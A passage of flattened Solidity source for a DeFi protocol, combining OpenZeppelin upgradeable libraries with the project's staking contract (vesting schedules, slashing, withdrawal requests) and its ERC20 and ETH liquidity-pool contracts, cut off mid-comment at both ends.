`to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import "../interfaces/IStaking.sol"; import "../interfaces/IManager.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import {SafeMathUpgradeable as SafeMath} from "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; import {MathUpgradeable as Math} from "@openzeppelin/contracts-upgradeable/math/MathUpgradeable.sol"; import {IERC20Upgradeable as IERC20} from "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import {SafeERC20Upgradeable as SafeERC20} from "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol"; import {OwnableUpgradeable as Ownable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import {EnumerableSetUpgradeable as EnumerableSet} from "@openzeppelin/contracts-upgradeable/utils/EnumerableSetUpgradeable.sol"; import {PausableUpgradeable as Pausable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol"; contract Staking is IStaking, Initializable, Ownable, Pausable { using SafeMath for uint256; using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.UintSet; IERC20 public tokeToken; IManager public manager; address public treasury; uint256 public withheldLiquidity; //userAddress -> withdrawalInfo mapping(address => WithdrawalInfo) public requestedWithdrawals; //userAddress -> -> scheduleIndex -> staking detail mapping(address => mapping(uint256 => StakingDetails)) public userStakings; //userAddress -> scheduleIdx[] mapping(address => uint256[]) public userStakingSchedules; //Schedule id/index counter uint256 public nextScheduleIndex; //scheduleIndex/id -> schedule mapping(uint256 => StakingSchedule) public schedules; //scheduleIndex/id[] EnumerableSet.UintSet private scheduleIdxs; //Can deposit into a non-public schedule mapping(address => bool) public override permissionedDepositors; modifier onlyPermissionedDepositors() { require(_isAllowedPermissionedDeposit(), "CALLER_NOT_PERMISSIONED"); _; } function initialize( IERC20 _tokeToken, IManager _manager, address _treasury ) public initializer { __Context_init_unchained(); __Ownable_init_unchained(); __Pausable_init_unchained(); require(address(_tokeToken) != address(0), "INVALID_TOKETOKEN"); require(address(_manager) != address(0), "INVALID_MANAGER"); require(_treasury != address(0), "INVALID_TREASURY"); tokeToken = _tokeToken; manager = _manager; treasury = _treasury; //We want to be sure the schedule used for LP staking is first //because the order in which withdraws happen need to start with LP stakes _addSchedule( StakingSchedule({ cliff: 0, duration: 1, interval: 1, setup: true, isActive: true, hardStart: 0, isPublic: true }) ); } function addSchedule(StakingSchedule memory schedule) external override onlyOwner { _addSchedule(schedule); } function setPermissionedDepositor(address account, bool canDeposit) external override onlyOwner { permissionedDepositors[account] = canDeposit; } function setUserSchedules(address account, uint256[] calldata userSchedulesIdxs) external override onlyOwner { userStakingSchedules[account] = userSchedulesIdxs; } function getSchedules() external view override returns (StakingScheduleInfo[] memory retSchedules) { uint256 length = scheduleIdxs.length(); retSchedules = new StakingScheduleInfo[](length); for (uint256 i = 0; i < length; i++) { retSchedules[i] = StakingScheduleInfo( schedules[scheduleIdxs.at(i)], scheduleIdxs.at(i) ); } } function removeSchedule(uint256 scheduleIndex) external override onlyOwner { require(scheduleIdxs.contains(scheduleIndex), "INVALID_SCHEDULE"); scheduleIdxs.remove(scheduleIndex); delete schedules[scheduleIndex]; emit ScheduleRemoved(scheduleIndex); } function getStakes(address account) external view override returns (StakingDetails[] memory stakes) { stakes = _getStakes(account); } function balanceOf(address account) external view override returns (uint256 value) { value = 0; uint256 scheduleCount = userStakingSchedules[account].length; for (uint256 i = 0; i < scheduleCount; i++) { uint256 remaining = userStakings[account][userStakingSchedules[account][i]].initial.sub( userStakings[account][userStakingSchedules[account][i]].withdrawn ); uint256 slashed = userStakings[account][userStakingSchedules[account][i]].slashed; if (remaining > slashed) { value = value.add(remaining.sub(slashed)); } } } function availableForWithdrawal(address account, uint256 scheduleIndex) external view override returns (uint256) { return _availableForWithdrawal(account, scheduleIndex); } function unvested(address account, uint256 scheduleIndex) external view override returns (uint256 value) { value = 0; StakingDetails memory stake = userStakings[account][scheduleIndex]; value = stake.initial.sub(_vested(account, scheduleIndex)); } function vested(address account, uint256 scheduleIndex) external view override returns (uint256 value) { return _vested(account, scheduleIndex); } function deposit(uint256 amount, uint256 scheduleIndex) external override { _depositFor(msg.sender, amount, scheduleIndex); } function depositFor( address account, uint256 amount, uint256 scheduleIndex ) external override { _depositFor(account, amount, scheduleIndex); } function depositWithSchedule( address account, uint256 amount, StakingSchedule calldata schedule ) external override onlyPermissionedDepositors { uint256 scheduleIx = nextScheduleIndex; _addSchedule(schedule); _depositFor(account, amount, scheduleIx); } function requestWithdrawal(uint256 amount) external override { require(amount > 0, "INVALID_AMOUNT"); StakingDetails[] memory stakes = _getStakes(msg.sender); uint256 length = stakes.length; uint256 stakedAvailable = 0; for (uint256 i = 0; i < length; i++) { stakedAvailable = stakedAvailable.add( _availableForWithdrawal(msg.sender, stakes[i].scheduleIx) ); } require(stakedAvailable >= amount, "INSUFFICIENT_AVAILABLE"); withheldLiquidity = withheldLiquidity.sub(requestedWithdrawals[msg.sender].amount).add( amount ); requestedWithdrawals[msg.sender].amount = amount; if (manager.getRolloverStatus()) { requestedWithdrawals[msg.sender].minCycleIndex = manager.getCurrentCycleIndex().add(2); } else { requestedWithdrawals[msg.sender].minCycleIndex = manager.getCurrentCycleIndex().add(1); } emit WithdrawalRequested(msg.sender, amount); } function withdraw(uint256 amount) external override { require(amount <= requestedWithdrawals[msg.sender].amount, "WITHDRAW_INSUFFICIENT_BALANCE"); require(amount > 0, "NO_WITHDRAWAL"); require( requestedWithdrawals[msg.sender].minCycleIndex <= manager.getCurrentCycleIndex(), "INVALID_CYCLE" ); StakingDetails[] memory stakes = _getStakes(msg.sender); uint256 available = 0; uint256 length = stakes.length; uint256 remainingAmount = amount; uint256 stakedAvailable = 0; for (uint256 i = 0; i < length && remainingAmount > 0; i++) { stakedAvailable = _availableForWithdrawal(msg.sender, stakes[i].scheduleIx); available = available.add(stakedAvailable); if (stakedAvailable < remainingAmount) { remainingAmount = remainingAmount.sub(stakedAvailable); stakes[i].withdrawn = stakes[i].withdrawn.add(stakedAvailable); } else { stakes[i].withdrawn = stakes[i].withdrawn.add(remainingAmount); remainingAmount = 0; } userStakings[msg.sender][stakes[i].scheduleIx] = stakes[i]; } require(remainingAmount == 0, "INSUFFICIENT_AVAILABLE"); //May not need to check this again requestedWithdrawals[msg.sender].amount = requestedWithdrawals[msg.sender].amount.sub( amount ); if (requestedWithdrawals[msg.sender].amount == 0) { delete requestedWithdrawals[msg.sender]; } withheldLiquidity = withheldLiquidity.sub(amount); tokeToken.safeTransfer(msg.sender, amount); emit WithdrawCompleted(msg.sender, amount); } function slash( address account, uint256 amount, uint256 scheduleIndex ) external onlyOwner { StakingSchedule storage schedule = schedules[scheduleIndex]; require(amount > 0, "INVALID_AMOUNT"); require(schedule.setup, "INVALID_SCHEDULE"); StakingDetails memory userStake = userStakings[account][scheduleIndex]; require(userStake.initial > 0, "NO_VESTING"); uint256 availableToSlash = 0; uint256 remaining = userStake.initial.sub(userStake.withdrawn); if (remaining > userStake.slashed) { availableToSlash = remaining.sub(userStake.slashed); } require(availableToSlash >= amount, "INSUFFICIENT_AVAILABLE"); userStake.slashed = userStake.slashed.add(amount); userStakings[account][scheduleIndex] = userStake; tokeToken.safeTransfer(treasury, amount); emit Slashed(account, amount, scheduleIndex); } function pause() external override onlyOwner { _pause(); } function unpause() external override onlyOwner { _unpause(); } function _availableForWithdrawal(address account, uint256 scheduleIndex) private view returns (uint256) { StakingDetails memory stake = userStakings[account][scheduleIndex]; uint256 vestedWoWithdrawn = _vested(account, scheduleIndex).sub(stake.withdrawn); if (stake.slashed > vestedWoWithdrawn) return 0; return vestedWoWithdrawn.sub(stake.slashed); } function _depositFor( address account, uint256 amount, uint256 scheduleIndex ) private { StakingSchedule memory schedule = schedules[scheduleIndex]; require(!paused(), "Pausable: paused"); require(amount > 0, "INVALID_AMOUNT"); require(schedule.setup, "INVALID_SCHEDULE"); require(schedule.isActive, "INACTIVE_SCHEDULE"); require(account != address(0), "INVALID_ADDRESS"); require(schedule.isPublic || _isAllowedPermissionedDeposit(), "PERMISSIONED_SCHEDULE"); StakingDetails memory userStake = userStakings[account][scheduleIndex]; if (userStake.initial == 0) { userStakingSchedules[account].push(scheduleIndex); } userStake.initial = userStake.initial.add(amount); if (schedule.hardStart > 0) { userStake.started = schedule.hardStart; } else { // solhint-disable-next-line not-rely-on-time userStake.started = block.timestamp; } userStake.scheduleIx = scheduleIndex; userStakings[account][scheduleIndex] = userStake; tokeToken.safeTransferFrom(msg.sender, address(this), amount); emit Deposited(account, amount, scheduleIndex); } function _vested(address account, uint256 scheduleIndex) private view returns (uint256) { // solhint-disable-next-line not-rely-on-time uint256 timestamp = block.timestamp; uint256 value = 0; StakingDetails memory stake = userStakings[account][scheduleIndex]; StakingSchedule memory schedule = schedules[scheduleIndex]; uint256 cliffTimestamp = stake.started.add(schedule.cliff); if (cliffTimestamp <= timestamp) { if (cliffTimestamp.add(schedule.duration) <= timestamp) { value = stake.initial; } else { uint256 secondsStaked = Math.max(timestamp.sub(cliffTimestamp), 1); uint256 effectiveSecondsStaked = (secondsStaked.mul(schedule.interval)).div( schedule.interval ); value = stake.initial.mul(effectiveSecondsStaked).div(schedule.duration); } } return value; } function _addSchedule(StakingSchedule memory schedule) private { require(schedule.duration > 0, "INVALID_DURATION"); require(schedule.interval > 0, "INVALID_INTERVAL"); schedule.setup = true; uint256 index = nextScheduleIndex; schedules[index] = schedule; scheduleIdxs.add(index); nextScheduleIndex = nextScheduleIndex.add(1); emit ScheduleAdded( index, schedule.cliff, schedule.duration, schedule.interval, schedule.setup, schedule.isActive, schedule.hardStart ); } function _getStakes(address account) private view returns (StakingDetails[] memory stakes) { uint256 stakeCnt = userStakingSchedules[account].length; stakes = new StakingDetails[](stakeCnt); for (uint256 i = 0; i < stakeCnt; i++) { stakes[i] = userStakings[account][userStakingSchedules[account][i]]; } } function _isAllowedPermissionedDeposit() private view returns (bool) { return permissionedDepositors[msg.sender] || msg.sender == owner(); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; pragma experimental ABIEncoderV2; interface IStaking { struct StakingSchedule { uint256 cliff; // Duration in seconds before staking starts uint256 duration; // Seconds it takes for entire amount to stake uint256 interval; // Seconds it takes for a chunk to stake bool setup; //Just so we know its there bool isActive; //Whether we can setup new stakes with the schedule uint256 hardStart; //Stakings will always start at this timestamp if set bool isPublic; //Schedule can be written to by any account } struct StakingScheduleInfo { StakingSchedule schedule; uint256 index; } struct StakingDetails { uint256 initial; //Initial amount of asset when stake was created, total amount to be staked before slashing uint256 withdrawn; //Amount that was staked and subsequently withdrawn uint256 slashed; //Amount that has been slashed uint256 started; //Timestamp at which the stake started uint256 scheduleIx; } struct WithdrawalInfo { uint256 minCycleIndex; uint256 amount; } event ScheduleAdded(uint256 scheduleIndex, uint256 cliff, uint256 duration, uint256 interval, bool setup, bool isActive, uint256 hardStart); event ScheduleRemoved(uint256 scheduleIndex); event WithdrawalRequested(address account, uint256 amount); event WithdrawCompleted(address account, uint256 amount); event Deposited(address account, uint256 amount, uint256 scheduleIx); event Slashed(address account, uint256 amount, uint256 scheduleIx); function permissionedDepositors(address account) external returns (bool); function setUserSchedules(address account, uint256[] calldata userSchedulesIdxs) external; function addSchedule(StakingSchedule memory schedule) external; function getSchedules() external view returns (StakingScheduleInfo[] memory); function setPermissionedDepositor(address account, bool canDeposit) external; function removeSchedule(uint256 scheduleIndex) external; function getStakes(address account) external view returns(StakingDetails[] memory); function balanceOf(address account) external view returns(uint256); function availableForWithdrawal(address account, uint256 scheduleIndex) external view returns (uint256); function unvested(address account, uint256 scheduleIndex) external view returns(uint256); function vested(address account, uint256 scheduleIndex) external view returns(uint256); function deposit(uint256 amount, uint256 scheduleIndex) external; function depositFor(address account, uint256 amount, uint256 scheduleIndex) external; function depositWithSchedule(address account, uint256 amount, StakingSchedule calldata schedule) external; function requestWithdrawal(uint256 amount) external; function withdraw(uint256 amount) external; /// @notice Pause deposits on the pool. Withdraws still allowed function pause() external; /// @notice Unpause deposits on the pool. function unpause() external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library MathUpgradeable { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; import "../interfaces/ILiquidityPool.sol"; import "../interfaces/IManager.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import {SafeMathUpgradeable as SafeMath} from "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; import {MathUpgradeable as Math} from "@openzeppelin/contracts-upgradeable/math/MathUpgradeable.sol"; import {OwnableUpgradeable as Ownable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import {ERC20Upgradeable as ERC20} from "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import {IERC20Upgradeable as IERC20} from "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import {SafeERC20Upgradeable as SafeERC20} from "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol"; import {PausableUpgradeable as Pausable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol"; contract Pool is ILiquidityPool, Initializable, ERC20, Ownable, Pausable { using SafeMath for uint256; using SafeERC20 for ERC20; ERC20 public override underlyer; IManager public manager; // implied: deployableLiquidity = underlyer.balanceOf(this) - withheldLiquidity uint256 public override withheldLiquidity; // fAsset holder -> WithdrawalInfo mapping(address => WithdrawalInfo) public override requestedWithdrawals; function initialize( ERC20 _underlyer, IManager _manager, string memory _name, string memory _symbol ) public initializer { require(address(_underlyer) != address(0), "ZERO_ADDRESS"); require(address(_manager) != address(0), "ZERO_ADDRESS"); __Context_init_unchained(); __Ownable_init_unchained(); __Pausable_init_unchained(); __ERC20_init_unchained(_name, _symbol); underlyer = _underlyer; manager = _manager; } function decimals() public view override returns (uint8) { return underlyer.decimals(); } function deposit(uint256 amount) external override whenNotPaused { _deposit(msg.sender, msg.sender, amount); } function depositFor(address account, uint256 amount) external override whenNotPaused { _deposit(msg.sender, account, amount); } /// @dev References the WithdrawalInfo for how much the user is permitted to withdraw /// @dev No withdrawal permitted unless currentCycle >= minCycle /// @dev Decrements withheldLiquidity by the withdrawn amount /// @dev TODO Update rewardsContract with proper accounting function withdraw(uint256 requestedAmount) external override whenNotPaused { require( requestedAmount <= requestedWithdrawals[msg.sender].amount, "WITHDRAW_INSUFFICIENT_BALANCE" ); require(requestedAmount > 0, "NO_WITHDRAWAL"); require(underlyer.balanceOf(address(this)) >= requestedAmount, "INSUFFICIENT_POOL_BALANCE"); require( requestedWithdrawals[msg.sender].minCycle <= manager.getCurrentCycleIndex(), "INVALID_CYCLE" ); requestedWithdrawals[msg.sender].amount = requestedWithdrawals[msg.sender].amount.sub( requestedAmount ); if (requestedWithdrawals[msg.sender].amount == 0) { delete requestedWithdrawals[msg.sender]; } withheldLiquidity = withheldLiquidity.sub(requestedAmount); _burn(msg.sender, requestedAmount); underlyer.safeTransfer(msg.sender, requestedAmount); } /// @dev Adjusts the withheldLiquidity as necessary /// @dev Updates the WithdrawalInfo for when a user can withdraw and for what requested amount function requestWithdrawal(uint256 amount) external override { require(amount > 0, "INVALID_AMOUNT"); require(amount <= balanceOf(msg.sender), "INSUFFICIENT_BALANCE"); //adjust withheld liquidity by removing the original withheld amount and adding the new amount withheldLiquidity = withheldLiquidity.sub(requestedWithdrawals[msg.sender].amount).add( amount ); requestedWithdrawals[msg.sender].amount = amount; if (manager.getRolloverStatus()) { requestedWithdrawals[msg.sender].minCycle = manager.getCurrentCycleIndex().add(2); } else { requestedWithdrawals[msg.sender].minCycle = manager.getCurrentCycleIndex().add(1); } } function preTransferAdjustWithheldLiquidity(address sender, uint256 amount) internal { if (requestedWithdrawals[sender].amount > 0) { //reduce requested withdraw amount by transferred amount; uint256 newRequestedWithdrawl = requestedWithdrawals[sender].amount.sub( Math.min(amount, requestedWithdrawals[sender].amount) ); //subtract from global withheld liquidity (reduce) by removing the delta of (requestedAmount - newRequestedAmount) withheldLiquidity = withheldLiquidity.sub( requestedWithdrawals[sender].amount.sub(newRequestedWithdrawl) ); //update the requested withdraw for user requestedWithdrawals[sender].amount = newRequestedWithdrawl; //if the withdraw request is 0, empty it out if (requestedWithdrawals[sender].amount == 0) { delete requestedWithdrawals[sender]; } } } function approveManager(uint256 amount) public override onlyOwner { uint256 currentAllowance = underlyer.allowance(address(this), address(manager)); if (currentAllowance < amount) { uint256 delta = amount.sub(currentAllowance); underlyer.safeIncreaseAllowance(address(manager), delta); } else { uint256 delta = currentAllowance.sub(amount); underlyer.safeDecreaseAllowance(address(manager), delta); } } /// @dev Adjust withheldLiquidity and requestedWithdrawal if sender does not have sufficient unlocked balance for the transfer function transfer(address recipient, uint256 amount) public override whenNotPaused returns (bool) { preTransferAdjustWithheldLiquidity(msg.sender, amount); return super.transfer(recipient, amount); } /// @dev Adjust withheldLiquidity and requestedWithdrawal if sender does not have sufficient unlocked balance for the transfer function transferFrom( address sender, address recipient, uint256 amount ) public override whenNotPaused returns (bool) { preTransferAdjustWithheldLiquidity(sender, amount); return super.transferFrom(sender, recipient, amount); } function pause() external override onlyOwner { _pause(); } function unpause() external override onlyOwner { _unpause(); } function _deposit( address fromAccount, address toAccount, uint256 amount ) internal { require(amount > 0, "INVALID_AMOUNT"); require(toAccount != address(0), "INVALID_ADDRESS"); _mint(toAccount, amount); underlyer.safeTransferFrom(fromAccount, address(this), amount); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; import "../interfaces/ILiquidityEthPool.sol"; import "../interfaces/IManager.sol"; import "../interfaces/IWETH.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import {AddressUpgradeable as Address} from "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import {MathUpgradeable as Math} from "@openzeppelin/contracts-upgradeable/math/MathUpgradeable.sol"; import {SafeMathUpgradeable as SafeMath} from "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; import {OwnableUpgradeable as Ownable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import {ERC20Upgradeable as ERC20} from "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import {IERC20Upgradeable as IERC20} from "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import {SafeERC20Upgradeable as SafeERC20} from "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol"; import {PausableUpgradeable as Pausable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol"; contract EthPool is ILiquidityEthPool, Initializable, ERC20, Ownable, Pausable { using SafeMath for uint256; using SafeERC20 for IERC20; using Address for address; using Address for address payable; /// @dev TODO: Hardcode addresses, make immuatable, remove from initializer IWETH public override weth; IManager public manager; // implied: deployableLiquidity = underlyer.balanceOf(this) - withheldLiquidity uint256 public override withheldLiquidity; // fAsset holder -> WithdrawalInfo mapping(address => WithdrawalInfo) public override requestedWithdrawals; /// @dev necessary to receive ETH // solhint-disable-next-line no-empty-blocks receive() external payable {} function initialize( IWETH _weth, IManager _manager, string memory _name, string memory _symbol ) public initializer { require(address(_weth) != address(0), "ZERO_ADDRESS"); require(address(_manager) != address(0), "ZERO_ADDRESS"); __Context_init_unchained(); __Ownable_init_unchained(); __Pausable_init_unchained(); __ERC20_init_unchained(_name, _symbol); weth = _weth; manager = _manager; withheldLiquidity = 0; } function deposit(uint256 amount) external payable override whenNotPaused { _deposit(msg.sender, msg.sender, amount, msg.value); } function depositFor(address account, uint256 amount) external payable override whenNotPaused { _deposit(msg.sender, account, amount, msg.value); } function underlyer() external view override returns (address) { return address(weth); } /// @dev References the WithdrawalInfo for how much the user is permitted to withdraw /// @dev No withdrawal permitted unless currentCycle >= minCycle /// @dev Decrements withheldLiquidity by the withdrawn amount function withdraw(uint256 requestedAmount, bool asEth) external override whenNotPaused { require( requestedAmount <= requestedWithdrawals[msg.sender].amount, "WITHDRAW_INSUFFICIENT_BALANCE" ); require(requestedAmount > 0, "NO_WITHDRAWAL"); require(weth.balanceOf(address(this)) >= requestedAmount, "INSUFFICIENT_POOL_BALANCE"); require( requestedWithdrawals[msg.sender].minCycle <= manager.getCurrentCycleIndex(), "INVALID_CYCLE" ); requestedWithdrawals[msg.sender].amount = requestedWithdrawals[msg.sender].amount.sub( requestedAmount ); if (requestedWithdrawals[msg.sender].amount == 0) { delete requestedWithdrawals[msg.sender]; } withheldLiquidity = withheldLiquidity.sub(requestedAmount); _burn(msg.sender, requestedAmount); if (asEth) { weth.withdraw(requestedAmount); msg.sender.sendValue(requestedAmount); } else { IERC20(weth).safeTransfer(msg.sender, requestedAmount); } } /// @dev Adjusts the withheldLiquidity as necessary /// @dev Updates the WithdrawalInfo for when a user can withdraw and for what requested 